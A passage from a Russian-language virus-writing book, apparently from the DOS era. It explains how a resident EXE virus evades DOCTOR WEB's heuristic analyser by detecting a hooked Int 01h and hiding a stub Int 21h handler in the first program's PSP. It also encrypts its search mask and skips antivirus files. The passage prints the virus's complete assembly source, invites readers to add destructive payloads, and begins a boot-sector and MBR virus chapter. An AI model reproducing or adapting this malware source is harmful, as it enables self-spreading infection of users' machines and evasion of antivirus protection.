показывают,что DOCTOR WEB,вероятнее всего, содержит встроенный отладчик) .Для
реализации указанного метода можно использовать особенность
микропроцессора, состоящую в наличии очереди команд . Однако этот путь по
существу является тупиковым, так как вирус, реализующий такой алгоритм,не будет
работать на процессорах PENTIUM из-за наличия в последних так называемой системы
прогнозирования переходов. Мы же поступим по другому.Как вы знаете все отладчики
интенсивно используют прерывание 01h ( One Step ),обработчик которого
останавливает работу микропроцессора после выполнения каждой команды.
Поэтому естественно предположить, что для проведения эвристического анализа
DOCTOR WEB устанавливает собственный обработчик Int 01h,а значит, заменяет
адрес системного обработчика в таблице векторов прерываний.На факт замены этого
адреса мы и будем ориентироваться. Экспериментальным путем было установлено, что
системный обработчик Int 01h находится в памяти по такому адресу : 0070:XXXX.
Следовательно, достаточно проверить сегментный адрес обработчика Int 01h,
чтобы сказать, перехвачено-ли это прерывание какой-нибудь прикладной
программой.
Следующая
проблема,возникающая при построении программы обработки прерывания из двух
частей, состоит вот в чем: непонятно, куда именно следует поместить "
первую " часть,чтобы она не затиралась при загрузке программ и их работе, и не
была бы видна с помощью, например, VC.COM или RELEASE.
Многочисленными
экспериментами было установлено , что для размещения участка обработчика
прерывания, ответственного за " обман " эвристического анализатора, можно
использовать байты с 38h по 5Ch,принадлежащие PSP первой загруженной в
память программы .Эти байты зарезервированы разработчиками
операционной системы, вероятно,для будущих ее версий, и их значения
остаются постоянными в течение всего сеанса работы компьютера .Кроме того,
зарезервированного пространства в PSP вполне хватит для размещения
программы обработки прерывания .
Итак,
можно предложить следующий алгоритм :
1.)
Отыскивается PSP первой загруженной в память программы .
2.)
В байты 38h - 5Ch записывается код " промежуточного " обработчика
прерывания INT 21h .Этот код должен вызывать системный обработчик при работе под
управлением отладчика и вирусный в противном случае .
*
На самом деле можно использовать и другие области PSP, расположенные после
байта со смещением 5Ch ( примерно 32 байта - без всяких последствий.
).
3.)
В таблице векторов прерываний вектор INT 21h заменяется на точку входа в
промежуточный обработчик .
Вот,
собственно, и все .
2.4
Реализуем предложенный алгоритм
Как
мы договорились,сначала следует найти PSP первой загруженной в память
программы .Это можно сделать следующим образом :
find_psp: push es
;Найдем первый
xor
di,di
;PSP в памяти
xor
ax,ax
to_new_seg:inc
ax
mov
es,ax
cmp
ax,0ffffh
;Этот сегмент -
jae
free_mem
;последний ?
cmp byte
ptr es:[di],4dh
;Это
- MCB - ;блок ?
jne to_new_seg
;Нет !
to_test: mov bx,ax
;Да !
add
bx,es:[di+3]
inc
bx
mov
es,bx
cmp
byte ptr es:[di],4dh
;Следующий
MCB ;корректен ?
je restore_es
;Да !
cmp
byte ptr es:[di],5ah
jne
to_new_seg
;Нет !
restore_es:mov
es,ax
cmp
word ptr es:[di+1],0 ;MCB свободен ? je to_new_seg ;Да !
mov
bx,es
inc
bx
cmp
es:[di+1],bx
jne
to_new_seg
cmp
byte ptr es:[di+10h],0cdh ;После
MCB сле-
;дует
PSP ?
jne
to_new_seg
;Нет - тогда он
;нас
не интере-
;сует
...
mov
first_psp,es
;Да - найдена
mov
cx,es
;нужная нам
dec
es_save
;область памяти
cmp
es_save,cx
;А может, мы на-
;шли
свой же
;PSP
?
jne
add_05h
;Нет !
pop
es
jmp
fresh_input
;Да !
add_05h: add first_psp,05h
Напомним,
что PSP располагается в памяти сразу вслед за MCB - блоком,выделенным
операционной системой для загрузки программы, а первым байтом PSP должно
быть число 0CDh, что и используется в приведенном фрагменте .
Дополнительно
следует рассмотреть следующую ситуацию : обычно первым PSP в памяти
является PSP командного процессора COMMAND.COM . Но при некоторых
конфигурациях операционой системы (например, при использовании WINDOWS 95 в
режиме эмуляции MS DOS) это правило иногда не соблюдается .Может случиться так,
что первой в файле AUTOEXEC.BAT для загрузки указана нерезидентная EXE -
программа, зараженная нашим вирусом.При старте этой программы вирус
фактически отыщет ее же PSP и запишет туда текст промежуточного
обработчика INT 21h . Далее программа нерезидентно завершится, после чего
занимаемая ею память будет использована другими программами, поэтому наш
промежуточный обработчик будет затерт , и компьютер обязательно повиснет . Чтобы
этого не произошло, вирус проверяет, какой именно PSP был найден первым, и если
имела место описанная выше ситуация, отказывается от заражения памяти .
В
остальном работа фрагмента ясна .
2.5
Пишем промежуточный обработчик
Теперь
следует написать " промежуточный " обработчик прерывания INT 21h,который
должен вызывать системный или вирусный обработчики данного прерывания
в зависимости от режима работы процессора .Эту задачу можно решить, например,
так :
to_bios: push ax
;Текст промежу-
;точного
push
ds
;обработчика
;INT
21h ... pushf
xor
ax,ax
mov
ds,ax
cmp
word ptr ds:[0006h],0070h
;Int 01h пере-
;хвачено
?
jne
cs:uuuuu
;JMP на систем-
;ный
или вирус-
;ный
обработчики
;INT
21h ... popf
pop
ds
pop
ax
db
0eah
;На вирусный ...
our_21h_ip
dw to_new_21h
our_21h_cs
dw 00h
uuuuu:
popf
pop
ds
pop
ax
db
0eah
;На системный...
sys_21h_ip
dw 00h
sys_21h_cs
dw 00h
code_len
equ $ - to_bios
;Длина обработ-
;чика
Данный
фрагмент написан настолько просто, что никаких пояснений по поводу его
работы не требуется.
2.6
Защита от обнаружения вируса в файле
Защитить
вирус от обнаружения в файле намного проще, чем в памяти.Достаточно только
зашифровать маску для поиска EXE - программ ( *.exe ), и вирус обнаружен не
будет.Естественно, перед поиском файла - жертвы маска должна быть
расшифрована,а в зараженном файле присутствовать в зашифрованном
виде.
Для
решения этой задачи был предложен такой
алго-
ритм:
маска расшифровывается вирусной
копией, на-
ходящейся
в памяти, непосредственно перед
поиском
EXE-файла,а
при записи вирусного кода в файл снова
шифруется.
Вряд-ли DOCTOR WEB станет устанавливать резидентный вирус в память, а потом еще
и проверять, как он работает. А при простом просмотре или даже прохождении
зараженной программы отладчиком можно увидеть только закодированную маску.
2.7
Несколько слов о вредных действиях вирусной программы
Вирус,
как правило, для того и пишется,чтобы комуто навредить или пошутить над
пользователями .Поэтому естественно было бы включить в него
какие-нибудь действия,мешающие нормальной работе операторов
компьютеров .Конечно,здесь существует огромная свобода : от тривиальной
блокировки клавиатуры до " осыпания " букв с экрана или форматирования
винчестера . Многие вирусы вообще содержат серьезные ошибки, из - за
которых зараженная система может перестать работать, поэтому что - нибудь более
неприятное придумать непросто .
Поскольку
книга носит учебный харатер, мы не будем развивать " вредительскую " тему, а
вместо этого предоставим нашим читателям возможность творчески подойти к
задаче.Можете не огорчаться - встроить в вирусную программу вредное действие на
порядок проще,чем создать эту программу.Учтите только, что изготовление вирусов
- дело очень неблагодарное, и без должной конспирации способно принести самому "
писателю " массу неприятностей.Сами вирусы (особенно чужие) - довольно
неприятная штука, хотя эта тема очень интересна.
2.8
Полный текст резидентного EXE - вируса
Как
я уже говорил, эта программа является просто итогом всех предыдущих и фактически
составлена из их частей .Поэтому больше объяснять, вероятно, нечего
.Последний штрих - приведем полный текст разработанного нами резидентного
EXE - вируса :
;
_______________________________________________ ;|
| ;| EXE TSR virus
| ;| Especially for my readers
| ;|_______________________________________________|
prg
segment
assume
cs:prg,ds:prg,es:prg,ss:prg
org
100h
vir:
db 0ebh
;9090h - Для
;резидентной
db
push_len
;работы .
pushf
call
cs:rest_code
;Для надежности
;восстановим
;промежуточный ;обработчик ;INT 21h ...
cmp
bx,1997h
;Это проверка
jne
cs:not_our
;повторной за-
mov
ah,0ffh
;грузки вируса в
popf
;память ?
iret
;
not_our:cmp
cs:tg_infect - 100h,1 ;Активизировать- ;ся ?
je
cs:vir_2
;Да ...
popf
jmp
dword ptr cs:old_28h - 100h
;Нет - вызовем
;старый
INT 28h,
;чтобы
не
;"топить"
другие
;резиденты
...
vir_2:
db 9ah
old_28h
dw 0
old_28h_2 dw 0
pushf
;Сохраним в сте-
;ке
регистры push ax
push
bx
push
cx
push
dx
push
si
push
di
push
bp
push
ds
push
es
jmp
cs:infect
;Перейти к зара-
;жению
файлов... push_len equ $-vir - 2
mov
ax,cs
;Исправим DS для
;работы
db
2dh
;в зараженном
;EXE
- файле . sub_ds
dw 0
mov
ds,ax
mov
ax,ds
mov
es_save,es
;Сохраним значе-
;ние
ES ,бывшее
;при
загрузке
;программы
... push es
mov
ax,old_ip
;Восстановим ис-
;ходные
пара- mov my_ip,ax
;метры заголовка
;зараженного
mov
ax,old_cs
;файла ...
mov
my_cs,ax
mov
ax,to_16h
mov
my_16h,ax
mov
ax,old_ss
mov
my_ss,ax
mov
ax,old_sp
mov
my_sp,ax
;Проверим
,есть
;вирус
в па-
mov
bx,1997h
;мяти ,или еще
int
28h
;нет ...
cmp
ah,0ffh
jne
inst
;Нет - устанав-
;ливаем
...
fresh_input:
pop
es
mov
ax,my_ip
;Восстановим
;исходные
CS
mov
old_ip,ax
;и IP ,а также
;необходимые
mov
ax,my_cs
;для правильной
;работы
mov
old_cs,ax
;значения SS и
;SP
...
mov
ax,my_16h
mov
to_16h,ax
mov
ax,my_sp
mov
sp,ax
mov
ax,cs
;Расчитаем точку
;входа
sub ax,to_16h
;EXE - программы
add my_ss,ax
mov ss,my_ss
add ax,old_cs
mov old_cs,ax
push
ax
push
old_ip
;Восстановим DS
mov
ax,es
mov
ds,ax
db
0cbh
;Машинный код
;команды
возвра-
;та
из дальней
;процедуры
...
old_ip
dw 0
;
old_cs
dw 0
;
inst:
push es
;Найдем первый
;PSP
в
xor
di,di
;памяти ...
xor
ax,ax
to_new_seg:inc
ax
mov
es,ax
cmp
ax,0ffffh
;Этот сегмент -
;последний
?
jae
free_mem
cmp
byte ptr es:[di],4dh
;Это -
;MCB
- блок ?
jne to_new_seg
;Нет !
to_test: mov bx,ax
;Да !
add
bx,es:[di+3]
inc
bx
mov
es,bx
cmp
byte ptr es:[di],4dh
;Следующий MCB
;корректен
?
je restore_es
;Да !
cmp
byte ptr es:[di],5ah
jne
to_new_seg
;Нет !
restore_es:mov
es,ax
cmp
word ptr es:[di+1],0
;MCB свободен ?
je
to_new_seg
;Да !
mov
bx,es
inc
bx
cmp
es:[di+1],bx
jne
to_new_seg
cmp
byte ptr es:[di+10h],0cdh
;После MCB сле-
;дует
PSP ?
jne
to_new_seg
;Нет - тогда он
;нас
не
;интересует
... mov first_psp,es ;Да -
найдена
;нужная
нам
mov
cx,es
;область памяти
dec
es_save
cmp
es_save,cx
;А может ,мы на-
;шли
свой
;же
PSP ?
jne
add_05h
;Нет !
pop
es
jmp
fresh_input
;Да !
add_05h: add first_psp,05h
free_mem: pop es
mov
ah,4ah
;Определим объем
;доступной
;памяти
...
mov
bx,0ffffh
;Заведомо невоз-
;можное
int
21h
;значение
;(0ffffh)
!
;
_______________________________________________
;|
Найдем свободный MCB - блок ,чтобы можно было |
;|
записать в него резидентную часть вируса ... |
;|_______________________________________________|
sub
bx,vir_par + 4
;Оставим вирусу
;на
4 параграфа
;больше
,чем
;он
сам занимает mov ah,4ah
;А остальная
;память
int
21h
;будет занята ...
jnc
give_mem
to_fresh_input:
jmp
fresh_input
give_mem: mov ah,48h
;Попросим DOS
;отдать
сво-
;бодный
блок нам mov bx,vir_par + 2 ;Запас в два
;параграфа
... int 21h
jc
to_fresh_input
;
_______________________________________________
;|Теперь
свободный блок памяти найден
|
;|(
сегментный адрес в AX ) ,и нужно
|
;|записать
в него код вируса ...
|
;|_______________________________________________|
xor
di,di
;
mov
bx,ax
;
dec
bx
;
mov
word ptr es:[2],bx ;Корректируем
;PSP
...
mov
es,bx
;Делаем вирус
mov
bx,0070h
;" невидимым "
mov
es:[di+1],bx
;в памяти ...
mov
es,di
;Получаем векто-
;ра
прерываний cli
mov
di,084h
;Int 21h ...
mov
bx,es:[di]
mov
old_21h,bx
mov
bx,es:[di+2]
mov
old_21h_2,bx
mov
di,0a0h
;Int 28h ...
mov
bx,es:[di]
mov
old_28h,bx
mov
bx,es:[di+2]
mov
old_28h_2,bx
sti
mov
word ptr vir,9090h ;Подготавливаем
;вирус
mov
tg_infect,0
;к резидентной
;работе
...
mov
our_21h_cs,ax
;Эти значения
;потребуются
mov
bx,old_21h
;промежуточному
;обработ-
mov
sys_21h_ip,bx
;чику INT 21h...
mov
bx,old_21h_2
mov
sys_21h_cs,bx
push
es
;Теперь мы
;скопируем
его cli
;в найденный ра-
;нее
первый
mov
es,first_psp
;в памяти PSP...
xor
di,di
lea
si,to_bios
mov
cx,code_len
new_code: mov bl,byte ptr [si]
mov
byte ptr es:[di],bl
inc
si
inc
di
loop
new_code
sti
pop
es
mov
es,ax
;Копируем в
;память сам
xor
di,di
;вирусный код...
mov
cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov
byte ptr es:[di],bl
inc
di
loop
prg_copy
xor
bx,bx
;Устанавливаем
;вектора
;прерываний
на
;вирусные
mov es,bx
;обработчики ...
cli
mov
di,084h
;Int 21h ...
mov
word ptr es:[di],00h
mov
bx,first_psp
mov
word ptr es:[di + 2],bx
mov di,0a0h
;Int 28h ...
mov
word ptr es:[di],0
mov
es:[di+2],ax
sti
jmp
fresh_input
;Установка виру-
;са
в память за-
;вершена
...
infect:
push cs
;DS = CS ...
pop
ds
mov
ax,ds
;TSR - коррекция
sub
ax,10h
;DS ...
mov
ds,ax
mov
tg_infect,0
mov
ah,2fh
;Получим текущую
int
21h
;DTA ...
mov
es_dta,es
;И сохраним ее
mov
bx_dta,bx
mov
ah,1ah
;А теперь
;установим
lea dx,new_dta
;собственную DTA
int
21h
find_first:mov
maska[0],'*'
;Расшифровка ма-
cmp
word ptr cs:[0],9090h
;ски только в
je
cs:fifa
;резидентном
mov
maska[0],'a'
;режиме
fifa:
mov ah,4eh
;Найдем первый
mov cx,00100110b ;файл
...
lea
dx,maska
int 21h
jnc cs:r_3
jmp cs:restore_dta
find_next:
mov ah,3eh
;Закроем непод-
mov
bx,descrypt
;ходящий файл
int 21h
jnc
cs:r_2
jmp
cs:restore_dta
r_2:
mov ah,4fh
;Найдем следую-
int 21h ;щий ...
jnc
cs:r_3
jmp
cs:restore_dta
r_3:
mov cx,12
lea si,fn
;Сотрем старое
kill_name:
mov byte ptr [si],0
;имя в буфере
inc si
loop
cs:kill_name
xor
si,si
;И запишем новое
copy_name:
mov al,byte ptr new_dta[si + 01eh]
cmp
al,0
je
cs:check_name
mov byte
ptr fn[si],al
inc si
jmp
cs:copy_name
check_name:mov
cx,4
;Проверим имя на
lea
si,name_1
;принадлежность
call
cs:search
;его антивирус-
cmp
inside,1
;ным программам
je
cs:r_2
lea
si,name_2
;
call
cs:search
cmp
inside,1
je
cs:r_2
lea
si,name_3
;
call
cs:search
cmp
inside,1
je
cs:r_2
lea
si,name_4
;
call
cs:search
cmp
inside,1
je
cs:r_2
lea
si,name_5
;
call
cs:search
cmp
inside,1
je
cs:r_2
;
mov
cx,3
lea
si,name_6
call
cs:search
cmp
inside,1
je
cs:to_r_2
open_file:
mov ax,3d02h
;Откроем этот
lea dx,fn
;файл ...
int 21h
jnc
cs:found_size
to_r_2: jmp cs:r_2
found_size:mov
descrypt,ax
;Установим ука-
;затель
в ко-
mov
cx,word ptr [new_dta + 01ch] ;нец
файла ...
mov
dx,word ptr [new_dta + 01ah]
sub
dx,1
sbb
cx,0
call
cs:setpointer
jnc
cs:read_last
jmp
cs:find_next
read_last:
mov cx,1
;Считаем послед-
lea
dx,last
;ний байт ...
call
cs:read
jnc
cs:compar
jmp
cs:close_file
compar:
cmp last,'7'
;Индикатор зара-
;женности
jne
cs:mmm
jmp
cs:find_next
mmm:
xor cx,cx
;Считаем заголо-
xor
dx,dx
;вок EXE - файла
call
cs:setpointer
jnc
cs:read_head
to_next: jmp cs:find_next
read_head:
mov cx,27
;
lea
dx,header
;
call
cs:read
;
jnc
cs:next_step
;
jmp
cs:restore_dta
;
;Запомним
:
;Значение
IP
;файла
... next_step: mov ax,word ptr header[14h]
mov
old_ip,ax
;Значение
CS
;файла
...
mov
ax,word ptr header[16h]
mov
old_cs,ax
;Значение
SS
;файла
...
mov
ax,word ptr header[0eh]
mov
old_ss,ax
;Значение
SP
;файла
...
mov
ax,word ptr header[10h]
mov
old_sp,ax
;Вычислим
...
mov
ax,word ptr header[04h]
mov
cl,5
shl
ax,cl
cmp
ax,0f000h
;Файл длиннее
;983040
байт ? jna cs:good_size ;Нет ! jmp
cs:find_next
;Да !
good_size:
mov di,ax
sub
ax,word ptr header[08h]
mov
to_16h,ax
;Новое значение
;CS
...
mov
ax,di
xor
dx,dx
call
cs:mover
mov
f_seek_low,ax
mov
f_seek_high,dx
cmp
dx,word ptr [new_dta + 01ch] ;Файл
содержит
;оверлеи
?
jl
cs:to_next
;Да !
ja
cs:not_ovl
;Нет !
cmp
ax,word ptr [new_dta + 01ah]
jae
cs:not_ovl
;Нет !
jmp
cs:find_next
;Да !
not_ovl: add ax,vir_len
adc
dx,0
mov
bx,512
div
bx
cmp
dx,0
je
cs:round
inc
ax
round:
mov to_04h,ax
;Новую длину
;файла
в страни-
;цах
...
mov
to_02h,dx
mov
word ptr header[02h],dx
;И заполним эти-
;ми
значе -
mov
ax,to_04h
;ниями соответс-
;твующие
mov
word ptr header[04h],ax
;поля заголовка
mov
word ptr header[14h],0
mov
ax,to_16h
mov
word ptr header[16h],ax
mov
word ptr header[0eh],ax
mov
word ptr header[10h],to_new_stack + 96
mov
sub_ds,10h
mov
maska[0],'a'
xor
dx,dx
;Запишем
xor
cx,cx
;скорректирован-
call
cs:setpointer
;ный заголовок
jc
cs:close_file
;на диск ...
lea
dx,header
mov
cx,27
call
cs:write
jc
cs:close_file
mov
dx,f_seek_low
;Установим ука-
mov
cx,f_seek_high
;затель в файле
call
cs:setpointer
jc
cs:close_file
mov
cx,2
;Запишем начало
lea
dx,end_file
;вируса ...
call
cs:write
jc
cs:close_file
lea
dx,vir + 2
;И остальную
mov
cx,vir_len - 2
;часть ...
call
cs:write
close_file:xor
ax,ax
;Закроем зара-
mov
ah,3eh
;женный файл ...
mov
bx,descrypt
int
21h
restore_dta:
;Восстановим DTA
push
ds
mov ah,1ah
mov dx,bx_dta
mov ds,es_dta
int 21h
pop ds
exit_zarasa:
pop
es
;И регистры ...
pop
ds
pop
bp
pop
di
pop
si
pop
dx
pop
cx
pop
bx
pop
ax
popf
iret
;Выходим ...
;-------------------------------------------------
;
_______________________________________________
;|
|
;|
Напишем новые обработчики INT 21h и INT 24h |
;|_______________________________________________|
;-------------------------------------------------
to_new_21h
equ $-vir
new_21h: jmp cs:start_21h
tg_infect db 0
start_21h:
call cs:rest_code
;На всякий слу-
;чай
восстановим
;промежуточный
;обработчик
;INT
21h ... pushf
push
di
push
es
xor
di,di
;Перехват
mov
es,di
;Int 24h в
mov
di,90h
;резидентном
mov
word ptr es:[di],to_new_24h
;режиме
mov
es:[di+2],cs
cmp
ah,03bh
;Смена каталога?
jne
cs:new_cmp_1
mov
cs:tg_infect - 100h,1
;Да - взводим
;триггер
... new_cmp_1: cmp ah,00eh
;Смена диска ?
jne
cs:to_jump
mov
cs:tg_infect - 100h,1
;Да - взводим
;триггер
to_jump: pop es
pop
di
popf
db
0eah
;Переход на ста-
;рый
обработчик old_21h dw 0 ;INT 21h ...
old_21h_2 dw 0
;-------------------------------------------------
to_new_24h
equ $ - vir
new_24h: mov al,3
;Вернем програм-
;ме
управление и iret
;код ошибки ...
;-------------------------------------------------
;/***********************************************/
;Data
area
new_dta
db 128 dup (0)
;Новая DTA ...
maska
db 61h,'.exe',0 ;Маска для
;поиска
...
fn
db 12 dup (' '),0
;Место для имени
;файла
end_file
db 0ebh
;Первые два бай-
;та
вируса
db push_len
;в файле ...
header
db 27 dup ( 0 ) ;Массив для
;заголовка
... descrypt
dw 0
;Дескриптор ... to_02h
dw 0
;Ячейки для to_04h
dw 0
;хранения вычис-
to_16h
dw 0
;ляемых элемен- my_ip
dw 0
;тов заголовка my_cs
dw 0
; my_16h
dw 0
; my_ss
dw 0
; my_sp
dw 0
;
old_ss
dw 0
; old_sp
dw 0
; f_seek_low
dw 0
;Младшая и стар-
;шая
части f_seek_high dw 0
;указателя ... es_dta
dw 0
;Адрес старой bx_dta
dw 0
;DTA ... first_psp dw 0
;Сегмент первого
;PSP
...
es_save
dw 0
to_new_stack equ $ - vir
;Смещение к
;стеку
... new_stack
dw 50 dup ( 0 ) ;Новый стек ... name_1
db 'ADIN'
;Файлы ,имена name_2
db 'DINF'
;которых начина- name_3
db 'DRWE'
;ются так, name_4
db 'AIDS'
;заражать name_5
db 'ANTI'
;нельзя ! name_6
db 'WEB'
inside
db 0
vizitka
db 'Programmed in
Zhitomir'
db ' Politechnical Institute'
db 'FICT is the best!'
db ' (AU - ... ,virmaker)'
mes_len
equ $ - vizitka
last
db 0
;Последний байт
;-------------------------------------------------
setpointer
proc
;Процедура уста-
mov ax,4200h ;новки
указателя
mov bx,descrypt
;в файле ...
int 21h
ret
setpointer
endp
read
proc
;Процедура чте-
mov
ah,3fh
;ния из файла
mov
bx,descrypt
int 21h
ret
read
endp
write
proc
;Процедура запи-
mov
ah,40h
;си в файл ...
mov
bx,descrypt
int
21h
ret
write
endp
mover
proc
;Процедура умно-
mov
cx,04h
;жения на 16
left:
shl dx,1
;двойного слова
shl
ax,1
;DX : CX
adc
dx,00h
loop
cs:left
ret
mover
endp
rest_code proc
;Процедура вос-
;станавливает
push bx
;в памяти текст push cx
;промежуточного push si
;обработчика
;INT
21h ... push di
push
es
pushf
cli
mov
es,cs:first_psp - 100h
xor
di,di
mov
si,offset cs:to_bios - 100h
mov
cx,code_len
loader:
mov bl,byte ptr cs:[si]
mov
byte ptr es:[di],bl
inc
si
inc
di
loop
cs:loader
sti
popf
pop
es
pop
di
pop
si
pop
cx
pop
bx
ret
rest_code endp
search
proc
;Процедура
push
ax
;сравнивает
push
cx
;строки ...
mov
inside,1
lea
di,fn
new_cmp: mov al,byte ptr ds:[si]
cmp
byte ptr ds:[di],al
jne
cs:not_equal
inc
di
inc
si
loop
cs:new_cmp
jmp
cs:to_ret
not_equal:
mov inside,0
to_ret:
pop cx
pop
ax
ret
search
endp
;-------------------------------------------------
to_bios: push ax
;Текст промежу-
push
ds
;точного обра-
pushf
;ботчика Int 21h
xor
ax,ax
mov
ds,ax
cmp
word ptr ds:[0006h],0070h
;Int 01h пере-
;хвачено
?
jne
cs:uuuuu
;JMP
на систем-
;ный
или вирус-
;ный
обработчики
;INT
21h ... popf
pop
ds
pop
ax
db
0eah
;На вирусный...
our_21h_ip
dw to_new_21h
our_21h_cs
dw 00h
uuuuu:
popf
pop
ds
pop
ax
db
0eah
;На системный...
sys_21h_ip
dw 00h
sys_21h_cs
dw 00h
code_len
equ $ - to_bios
;Длина обработ-
;чика
...
;-------------------------------------------------
db '7'
;Последний байт
;вируса
...
vir_len
equ $-vir
;Длина вируса
;в
байтах vir_par equ ($-vir
+ 0fh)/16;И в параграфах
prg
ends
end
vir
Как
видите, в вирусе приняты определенные меры для того, чтобы он не смог заразить
антивирусные программы .Дело в том,что все ( или почти все )
антивирусы при запуске проверяют себя на зараженность, и при обнаружении
изменений своего кода выдают соответствующее сообщение . Поэтому вирус
проверяет, содержатся - ли в имени найденного файла такие фрагменты :
name_1
db 'ADIN';Файлы,
имена
name_2
db 'DINF';которых
начи-
name_3
db 'DRWE';наются так,
за-
name_4
db 'AIDS';ражать нельзя
!
name_5
db 'ANTI'
name_6
db 'WEB'
Для
проверки используется разработанная ранее процедура SEARCH . Если найденный
файл действительно является антивирусной программой, наш вирус отказывается
от попытки заразить его .
*
Как
вы заметили,в вирусе отсутствуют обработчики Int 13h и Int 2Fh. Так сделано
потому, что предлагаемая программа отлично работает без какой - бы то ни
было " фильтрации " прерывания Int 13h. Проверка повторной загрузки возложена на
обработчик Int 28h, по этой причине прерывание Int 2Fh перехватывать не
нужно.
ЧАСТЬ
3 . ЗАГРУЗОЧНЫЕ ВИРУСЫ
ГЛАВА
1 . РАЗРАБОТКА ЗАГРУЗОЧНОЙ
ВИРУСНОЙ
ПРОГРАММЫ
1.1
Краткие сведения о начальной загрузке персонального компьютера
Для
начала следует сказать несколько слов о том, как происходит начальная загрузка
ЭВМ.
После
проверки аппаратной части компьютера и заполнения таблицы векторов
прерываний BIOS пытается прочитать первый сектор нулевой дорожки нулевой стороны
диска в дисководе " A ". Этот сектор помещается в память по адресу
0000:7C00h,после чего на указанный адрес передается управление. В
прочитанном секторе содержится программа начальной загрузки (BOOT -
запись) и некоторые другие сведения,необходимые для доступа к данным на
диске. Программа начальной загрузки проверяет, является - ли диск системным.
Если это так, то загрузка операционной системы с диска продолжается, а если
нет,то на экран выводится сообщение :
Non
system disk or disk error
Replace
and press any key when ready .
после
чего система ожидает действий оператора. Если же диск в " A " - дисководе отсутствует, то программа BIOS считывает
первый сектор нулевой дорожки нулевой стороны первого жесткого диска. Он также помещается в память по адресу
0000:7C00h,после чего по указанному адресу передается управление.В прочитанном секторе на
жестком диске записана
так называемая MBR (главная загрузочная запись). MBR является
программой, которая определяет активный
раздел жесткого диска,
считывает загрузочную запись (BOOT - запись) этого раздела в
оперативную память и отдает ей управление. Дальше все происходит, как при
загрузке системы с гибкого диска. Как видим, процесс загрузки с
винчестера является как бы
двухступенчатым.
Если
же программа MBR не нашла активный раздел, то выдается сообщение об отсутствии
загрузочных устройств, и система останавливается.В некоторых старых
машинах при невозможности запустить операционную систему загружался
интерпретатор языка БЕЙСИК, записанный в микросхемах ПЗУ. Однако новые модели
компьютеров не содержат встроенного интерпретатора и не используют его.
1.2
Понятие о загрузочных вирусах
Загрузочными
называют вирусы, способные заражать загрузочные сектора гибких и жестких дисков
и получающие управление при попытке " запустить " операционную систему
с зараженного диска.
Можно
выделить следующие основные разновидности вирусных программ указанного типа
:
1.
Заражающие BOOT - сектора гибких дисков
2.
Заражающие BOOT - запись активного раздела жесткого диска и BOOT - сектора
гибких дисков
3.
Заражающие MBR ( Master Boot Record ) жесткого диска BOOT - сектора гибких
дисков
Отметим,что
заражение BOOT - секторов дискет является обязательным, иначе вирус просто
не сможет распространяться .
Кроме
того, почти все загрузочные вирусы являются резидентными,что объясняется
спецификой их работы. Нерезидентный вирус смог бы размножаться только в том
случае, если при загрузке с диска " A " из дисковода " B " забыли вытащить
дискету, или при загрузке с зараженного винчестера диск находится в одном из
дисководов.Очевидно,что при таком алгоритме работы вирус размножался бы
очень медленно, и его создание было бы просто бессмысленным.
Большое
распространение получили также файлово - загрузочные вирусы, которые могут
заражать файлы типов EXE, COM а иногда и другие. Ярким представителем этой
разновидности можно считать ONEHALF,который может заражать EXE и COM -
файлы. Файлово - загрузочные вирусы являются более заразными, чем файловые.
Создать такой вирус также сложнее, и поэтому их подробное рассмотрение
выходит за рамки данной книги.
1.3
Алгоритм работы загрузочного вируса
Несмотря
на огромное разнообразие загрузочных вирусных программ, алгоритмы их работы
незначительно отличаются друг от друга. В этом пункте мы рассмотрим одну из
возможных реализаций такого алгоритма. Только сначала условимся, что наш
вирус будет заражать загрузочные сектора гибких дисков и MBR ( Master Boot
Record) первого жесткого диска. Поэтому можно предложить следующий " план
работы " :
Попав
при начальной загрузке машины в память по адресу 0000:7C00h, вирус должен
выполнить такие действия :
1.
Установить регистры SS и SP на собственный стек
2.
" Отрезать " у системы несколько килобайтов памяти ( сколько именно -
зависит от длины вирусного кода )
3.
Переписать свой код в полученную область (кстати, она будет находиться в
старших адресах основной памяти)
4.
Передать управление следующей секции своего кода, уже расположенной в конце
основной памяти
Эта
секция, в свою очередь, должна :
1.
Переопределить вектор прерывания Int 13h на вирусный код
2.
Считать настоящий загрузочный сектор в память по адресу 0000:7C00h
3.
Проверить, заражен - ли винчестер. Если нет, то заразить его MBR
4.
Передать управление настоящему загрузочному сектору, находящемуся по адресу
0000:7C00h
Далее
загрузка ОС выполняется, как обычно.
Когда
система будет загружена,вирус должен заняться заражением BOOT - секторов
дискет. С этой целью он выполняет такие действия :
1.
При чтении секторов с номерами 2...N нулевой дорожки нулевой стороны диска " A "
проверяет BOOT этого диска на зараженность
2.
Если диск еще не инфицирован - заражает его
3.
Передает управление системному обработчику Int 13h
Под
заражением понимают запись вирусного кода в BOOT - сектор дискеты или в MBR
винчестера.
Понятно,
что при загрузке с винчестера проверять его на зараженность бессмысленно. И тем
не менее, наш вирус делает это, так как отключить проверку жесткого диска не так
просто, как это может показаться. Кроме того, она выполняется очень быстро
и поэтому совершенно не ощущается пользователем.
На
первый взгляд, приведенный алгоритм кажется довольно сложным. Тем не менее,
его достаточно просто реализовать, в чем вы скоро убедитесь.
Хотелось
бы сказать о том, какой должна быть максимальная длина вирусного кода.Если
мы хотим поместить вирус в загрузочный сектор целиком, следует учесть два
момента.
1.
Собственно программа загрузки в MBR занимает не более, чем 446 байт ( см.
ПРИЛОЖЕНИЕ 2 )
2.
Программа загрузки в BOOT - секторе дискеты имеет разный размер в разных версиях
DOS. В самом " предельном " случае она начинается со смещения 0055h
относительно начала сектора. Два последних байта BOOT и MBR содержат код: 55AAh.
Если его затереть,система перестанет загружаться с испорченного таким
образом диска. Некоторые вирусы используют этот прием для приведения
дискеты или винчестера в " частично нерабочее " состояние.
Отсюда
следует очевидный вывод - размер кода вируса не может превышать : 200h -
55h - 02h = 1A9h = = 425 байт! Если вы не выйдете за эту границу, обращение
к диску будет происходить корректно. Кроме того,даже NORTON DISK DOCTOR не будет
замечать изменений программы загрузки в BOOT - секторе дискеты или MBR
винчестера, что, согласитесь, очень важно.
1.4
Как начинается распространение вируса
В
отличие от файловых вирусов,для внедрения загрузочного вируса в компьютер
достаточно просто попробовать загрузиться с зараженной дискеты, при этом
дискета не обязательно должна быть загрузочной.В этом состоит особенность
вирусов этого типа. Итак, чтобы вирус начал распространяться, достаточно
заразить им гибкий диск, а потом попытаться загрузиться с него на той или иной
машине.
1.5
Начало работы
Как
и прежде,будем разрабатывать загрузочный вирус в виде COM - программы. Поэтому
:
prg
segment
assume
cs:prg,ds:prg,es:prg,ss:prg
org
100h
1.6
Вирус получает управление
